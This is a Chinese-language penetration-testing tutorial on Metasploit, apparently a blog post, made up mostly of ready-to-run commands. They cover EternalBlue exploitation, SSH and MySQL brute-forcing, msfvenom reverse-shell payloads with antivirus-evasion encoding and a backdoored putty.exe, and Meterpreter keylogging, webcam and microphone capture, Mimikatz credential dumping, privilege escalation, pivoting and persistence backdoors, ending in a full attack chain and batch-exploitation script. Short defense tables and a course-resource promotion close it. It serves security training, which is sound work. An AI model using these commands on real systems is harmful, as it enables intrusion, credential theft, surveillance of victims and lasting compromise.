“Metasploit怎么用?”“Meterpreter有哪些命令?”“怎么用MSF拿shell?”
Metasploit Framework(MSF)是世界上最流行的渗透测试框架,没有之一。从信息收集到漏洞利用,从后渗透到权限维持,MSF几乎覆盖了渗透测试的完整流程。
对于安全从业者来说,MSF就像黑客的"瑞士军刀"。无论是CTF比赛、护网行动还是日常渗透测试,MSF都是不可或缺的工具。
我第一次用MSF是在学习漏洞利用时,用exploit/multi/handler配合一个reverse shell payload,3分钟就拿到了靶机的shell。然后通过Meterpreter的hashdump拿到了密码哈希,getsystem直接提权。整个过程行云流水,让我彻底理解了"自动化渗透"的魅力。
今天我把Metasploit的完整使用指南整理出来:模块体系、Exploit使用、Payload生成、Meterpreter后渗透、提权技巧。看完这篇,你对MSF会有一个系统化掌握。
⚠️ 注意:MSF仅用于授权的渗透测试和安全研究,严禁用于非法用途。
一、Metasploit基础
MSF架构
| 模块类型 | 说明 | 示例 |
|---|---|---|
| Exploit | 漏洞利用模块 | exploit/windows/smb/ms17_010 |
| Payload | 攻击载荷 | meterpreter/reverse_tcp |
| Auxiliary | 辅助模块(扫描/嗅探) | auxiliary/scanner/portscan/tcp |
| Post | 后渗透模块 | post/windows/gather/hashdump |
| Encoder | 编码器 | x86/shikata_ga_nai |
| NOP | 空指令生成器 | x86/opty |
启动MSF
# 启动Metasploitmsfconsole# 更新数据库msfupdate# 初始化数据库msfdb init# 查看帮助msfconsole-h# 使用数据库msf6>db_status msf6>db_nmap-sV192.168.1.10基础命令
# 搜索模块search ms17_010 search name:eternalblue search type:exploit platform:windows# 使用模块use exploit/windows/smb/ms17_010_eternalblue# 查看模块信息info show options show payloads show targets# 设置参数setRHOSTS192.168.1.10setLHOST192.168.1.5setLPORT4444setPAYLOAD windows/x64/meterpreter/reverse_tcp# 执行exploit run二、Exploit模块实战
1. EternalBlue(永恒之蓝)
msf6>use exploit/windows/smb/ms17_010_eternalblue msf6>setRHOSTS192.168.1.10 msf6>setPAYLOAD windows/x64/meterpreter/reverse_tcp msf6>setLHOST192.168.1.5 msf6>setLPORT4444msf6>exploit# 成功后获得Meterpreter会话2. 常用Exploit模块
| 模块 | 漏洞 | 适用场景 |
|---|---|---|
| exploit/windows/smb/ms17_010 | 永恒之蓝 | Windows SMB |
| exploit/windows/smb/ms09_050 | SMBv2溢出 | Windows |
| exploit/multi/handler | 监听器 | 接收反弹Shell |
| exploit/multi/http/struts2 | Struts2 | Web |
| exploit/multi/http/tomcat | Tomcat | Web |
| exploit/unix/webapp/wp_admin | WordPress | CMS |
| exploit/windows/local/bypassuac | UAC绕过 | 提权 |
| exploit/windows/local/ms16_032 | 提权 | 内核提权 |
3. Auxiliary扫描模块
# 端口扫描use auxiliary/scanner/portscan/tcpsetRHOSTS192.168.1.0/24setPORTS22,80,443,445,3389,8080setTHREADS50run# SMB版本扫描use auxiliary/scanner/smb/smb_versionsetRHOSTS192.168.1.0/24 run# SSH爆破use auxiliary/scanner/ssh/ssh_loginsetRHOSTS192.168.1.10setUSERNAME rootsetPASS_FILE /usr/share/wordlists/rockyou.txtsetTHREADS10run# MySQL扫描use auxiliary/scanner/mysql/mysql_loginsetRHOSTS192.168.1.0/24setUSERNAME rootsetPASSWORD root run三、Payload生成
MSFvenom生成载荷
# Windows反弹Shellmsfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fexe-oshell.exe# Linux反弹Shellmsfvenom-plinux/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-felf-oshell.elf# Python反弹Shellmsfvenom-ppython/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fraw-oshell.py# PHP反弹Shellmsfvenom-pphp/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fraw-oshell.php# JSP反弹Shellmsfvenom-pjava/jsp_shell_reverse_tcp\LHOST=192.168.1.5LPORT=4444-fraw-oshell.jsp# War包msfvenom-pjava/jsp_shell_reverse_tcp\LHOST=192.168.1.5LPORT=4444-fwar-oshell.war# Shellcodemsfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444-fc编码免杀
# 使用编码器msfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444\-ex86/shikata_ga_nai-i5-fexe-oshell_encoded.exe# 多次编码msfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444\-ex86/shikata_ga_nai-i10\-fexe-oshell_multi.exe# 注入正常程序msfvenom-pwindows/x64/meterpreter/reverse_tcp\LHOST=192.168.1.5LPORT=4444\-x/usr/share/windows-binaries/plishputty.exe\-k-fexe-oputty_backdoor.exePayload类型对比
| Payload类型 | 说明 | 适用 |
|---|---|---|
| reverse_tcp | 反弹连接 | 穿透防火墙 |
| bind_tcp | 正向连接 | 目标可入站 |
| reverse_http | HTTP反弹 | 穿透代理 |
| reverse_https | HTTPS反弹 | 加密传输 |
| meterpreter | 高级载荷 | 后渗透操作 |
四、Meterpreter后渗透
核心命令
# 基础命令sysinfo# 系统信息getuid# 当前权限getpid# 当前进程IDipconfig# 网络配置route# 路由表ps# 进程列表pwd# 当前目录ls# 文件列表cd# 切换目录download# 下载文件upload# 上传文件shell# 进入系统Shellexecute# 执行命令# 截图screenshot# 截屏record_mic# 录音webcam_snap# 摄像头拍照webcam_stream# 摄像头视频# 键盘记录keyscan_start# 开始键盘记录keyscan_dump# 导出键盘记录keyscan_stop# 停止键盘记录凭据获取
# 获取密码哈希hashdump# 导出SAM哈希load kiwi# 加载Mimikatzcreds_all# 获取所有凭据lsa_dump_sam# 导出SAMlsa_dump_secrets# 导出LSA密钥# 从各来源收集凭据run post/windows/gather/hashdump run post/multi/gather/ssh_creds run post/linux/gather/hashdump run post/windows/gather/credentials/credential_collector提权
# 尝试提权getsystem# 自动提权getsystem-t1# 使用特定技术# 使用本地提权模块background# 将会话放到后台use exploit/windows/local/ms16_032setSESSION1exploit# Bypass UACuse exploit/windows/local/bypassuac_fodhelpersetSESSION1exploit进程迁移
# 查看进程ps# 迁移到稳定进程migrate<PID>migrate-Nexplorer.exe# 迁移到explorer# 迁移到系统进程(需要权限)migrate-Nlsass.exe migrate-Nsvchost.exe网络扩展
# 添加路由run autoroute-s192.168.2.0/24 run autoroute-p# 查看路由# 端口转发portfwdadd-l8080-p80-r192.168.2.10 portfwdadd-l3389-p3389-r192.168.2.10 portfwd list portfwd delete-l8080# Socks代理use auxiliary/server/socks4asetSRVHOST127.0.0.1setSRVPORT1080run# 然后配置proxychains# vim /etc/proxychains.conf# socks4 127.0.0.1 1080权限维持
# 创建服务后门run persistence-X-i30-p4444-r192.168.1.5# -X 开机自启# -i 30 每30秒重连# -p 端口# -r 攻击机IP# 创建计划任务run scheduleme run schtasksabuse# 安装Nujuba后门run metsvc-A# 安装并启动五、MSF自动化
资源脚本
# 创建auto_exploit.rc文件use exploit/windows/smb/ms17_010_eternalbluesetRHOSTS192.168.1.10setPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.5setLPORT4444exploit-j# 执行msfconsole-rauto_exploit.rc批量扫描
# 批量扫描和利用use auxiliary/scanner/smb/smb_ms17_010setRHOSTS192.168.1.0/24setTHREADS50run# 将结果导入数据库db_nmap-sV-p445192.168.1.0/24# 使用数据库中的主机services-p445# 批量利用use exploit/windows/smb/ms17_010_eternalbluesetRHOSTS file:/tmp/vuln_hosts.txtsetPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.5 exploit六、实战案例:完整渗透流程
# 1. 扫描目标db_nmap-sV-p445192.168.1.10# 2. 检测漏洞use auxiliary/scanner/smb/smb_ms17_010setRHOSTS192.168.1.10 run# 3. 利用漏洞use exploit/windows/smb/ms17_010_eternalbluesetRHOSTS192.168.1.10setPAYLOAD windows/x64/meterpreter/reverse_tcpsetLHOST192.168.1.5 exploit# 4. 信息收集sysinfo getuid ipconfig# 5. 提权getsystem hashdump# 6. 内网扩展run autoroute-s192.168.2.0/24 use auxiliary/server/socks4a run# 7. 内网扫描use auxiliary/scanner/portscan/tcpsetRHOSTS192.168.2.0/24setPORTS22,80,445,3389 run# 8. 权限维持run persistence-X-i60-p4445-r192.168.1.5七、MSF防御与检测
检测规则
| 检测项 | 说明 |
|---|---|
| 4444端口 | MSF默认端口 |
| Meterpreter特征 | 内存特征和行为 |
| 异常出站连接 | 非业务外连 |
| 编码器特征 | shikata_ga_nai签名 |
| Payload传输 | 网络层检测 |
防御建议
| 措施 | 说明 |
|---|---|
| 及时打补丁 | 修复已知漏洞 |
| 最小权限 | 服务最小化权限 |
| 网络隔离 | 内网分段隔离 |
| 部署EDR | 检测异常行为 |
| 入口管控 | 只开必要端口 |
| 流量监控 | 出站流量检测 |
学习资源
Metasploit是渗透测试中最核心的工具之一。从漏洞检测到利用执行,从后渗透到权限维持,MSF提供了一套完整的渗透测试工作流。
掌握MSF不仅是学会命令操作,更需要理解漏洞利用的原理和后渗透的思路。每一个模块背后都对应着特定的漏洞或技术,只有理解原理才能灵活运用。
如果你对网络安全和渗透测试感兴趣,想系统学习更多知识——包括MSF高级用法、漏洞利用开发、CTF实战、红蓝对抗等——可以参考下面整理的完整学习资料包。
内容涵盖:
从零基础到实战进阶,200+节视频课程,配套工具和靶场环境,涵盖攻防对抗全生命周期。
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源
总结
| 阶段 | 核心操作 |
|---|---|
| 信息收集 | db_nmap + auxiliary扫描 |
| 漏洞利用 | exploit模块 + payload |
| 后渗透 | Meterpreter命令 |
| 提权 | getsystem + 本地提权模块 |
| 内网扩展 | autoroute + portfwd + socks |
| 权限维持 | persistence + 计划任务 |
🔒 MSF是工具,不是魔法。真正的渗透能力在于对系统原理的理解和对漏洞的深入分析。
————————————————